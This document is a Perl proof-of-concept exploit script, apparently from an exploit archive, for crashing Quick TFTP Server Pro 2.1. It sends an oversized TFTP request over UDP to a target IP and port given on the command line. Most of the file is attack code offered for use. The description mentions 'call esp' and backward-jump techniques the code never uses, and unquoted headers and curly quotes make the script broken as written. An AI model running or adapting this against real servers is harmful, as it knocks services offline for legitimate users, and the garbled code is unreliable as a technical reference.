#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: Quick TFTP Server Pro 2.1 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 12 january 2024

Vendor Homepage: https://www.tallsoft.com/

Download to demo: https://drive.google.com/file/d/1Q4tIYjtv9Aqe5VE1fwnT18d3Cc-xkYEX/view?usp=sharing

Notification vendor: No reported

Tested Version: Quick TFTP Server Pro 2.1

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=yz7_ImFYueA

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to TFTP.
#The following request sends a large amount of data to the TFTP to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

print "\t ==> Connecting to webserver… \n\n";
sleep(1);

my $filename = "exploit";

$shell = "A"x317;

my $mode = “A” x 1360;

my $muha = “\x00\x02” .$filename . “\x00” .$mode;

socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname(‘udp’)) or die "socket() failed: $!";
send(SOCKET, $muha, 0, sockaddr_in($port, inet_aton($ip))) or die "send() failed: $!";

print "\t ==> Done! Exploited!";
sub intro {
print q {

 _________  
|         |  
| Exploit |==( )    //////  
|_________|   |||   | o o|                   
                ||| ( c  )                  ____  
                 ||| \= /                  ||   \_  
                  ||||||                   ||     |  
                  ||||||                ...||__/|-"  
                  ||||||             __|________|__  
                    |||             |______________|  
                    |||             || ||      || ||  
                    |||             || ||      || ||  
  ------------|||-------------||-||------||-||-------  
                    |__>            || ||      || ||          

                          [+] Quick TFTP Server Pro 2.1 - Denial of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: [email protected]

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "\n\tUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated